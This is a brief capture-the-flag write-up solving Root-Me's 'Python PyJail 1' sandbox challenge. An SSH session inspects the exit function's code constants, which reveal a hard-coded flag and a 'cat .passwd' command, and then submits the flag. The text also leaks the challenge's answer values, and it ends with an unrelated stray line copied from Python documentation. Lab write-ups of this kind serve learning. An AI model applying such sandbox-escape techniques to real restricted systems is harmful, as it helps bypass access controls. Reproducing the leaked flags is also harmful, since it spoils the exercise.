Link:https://www.root-me.org/en/Challenges/App-Script/Python-PyJail-1
Reference:https://docs.python.org/2/library/inspect.html?highlight=func_code
Solution:
[ BlackArch ~ ]# ssh -p 2222 app-script-ch8@challenge02.root-me.org
_ _ _ ___ ____
___| |__ __ _| | | ___ _ __ __ _ ___ / _ \___ \
/ __| '_ \ / _` | | |/ _ \ '_ \ / _` |/ _ \ | | |__) |
| (__| | | | (_| | | | __/ | | | (_| | __/ |_| / __/
\___|_| |_|\__,_|_|_|\___|_| |_|\__, |\___|\___/_____|
|___/ root-me.org
app-script-ch8@challenge02.root-me.org's password:
Permission denied, please try again.
app-script-ch8@challenge02.root-me.org's password:
Welcome to my Python sandbox! Everything is in exit() function (arg == get the flag!)
>>> print exit.func_code
<code object exit at 0xb7d87b60, file "/challenge/app-script/ch8/ch8.py", line 27>
>>> print exit.func_code.co_consts
(None, 'flag-WQ0dSFrab3LGADS1ypA1', -1, 'cat .passwd', 'You cannot escape !')
>>> exit(exit.func_code.co_consts[1])
Well done flag : YjHRUZEa9irCPS2llubR
Connection to challenge02.root-me.org closed.
28.13.1. Types and members
The